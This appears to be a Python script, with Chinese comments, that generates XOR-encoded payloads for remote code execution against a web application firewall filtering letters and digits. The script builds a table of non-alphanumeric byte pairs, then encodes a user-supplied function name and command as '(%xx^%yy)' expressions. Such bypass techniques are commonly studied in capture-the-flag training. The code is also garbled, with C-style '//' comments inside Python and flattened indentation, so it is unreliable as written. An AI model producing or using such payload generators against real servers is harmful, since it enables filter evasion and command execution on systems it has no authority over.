import re with open("xor.txt", "w") as xorfile: plain = "" for i in range(256): for j in range(256): hex_i = format(i, '02x')//这里把i和j变成16进制 hex_j = format(j, '02x') preg = r'[a-z0-9]' if bool(re.search(preg, bytes.fromhex(hex_i).decode(errors='ignore'),re.I)) or bool(re.search(preg, bytes.fromhex(hex_j).decode(errors='ignore'),re.I))://这里是正则,为了去掉已进waf的字符,byte...(error=..)的意思是将十六进制转成字符,若遇到错误则忽视他 continue else: a = '%' + hex_i b = '%' + hex_j c = chr(int(a[1:], 16) ^ int(b[1:], 16))//这里就是异或运算 if ord(c) >= 32 and ord(c) <= 126://假如c的ascii码在32到126以内,就记录下来 plain += c + " " + a + " " + b + "\n" xorfile.write(plain)
from sys import * def rce(arg): s1="" s2="" for i in arg: xorfile=open("xor.txt","r") while True: t=xorfile.readline() if t=="": break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break xorfile.close() rce="("+s1+"^"+s2+")" return(rce) fun=rce(input("your function:")) com=rce(input("your command:")) print(fun+com)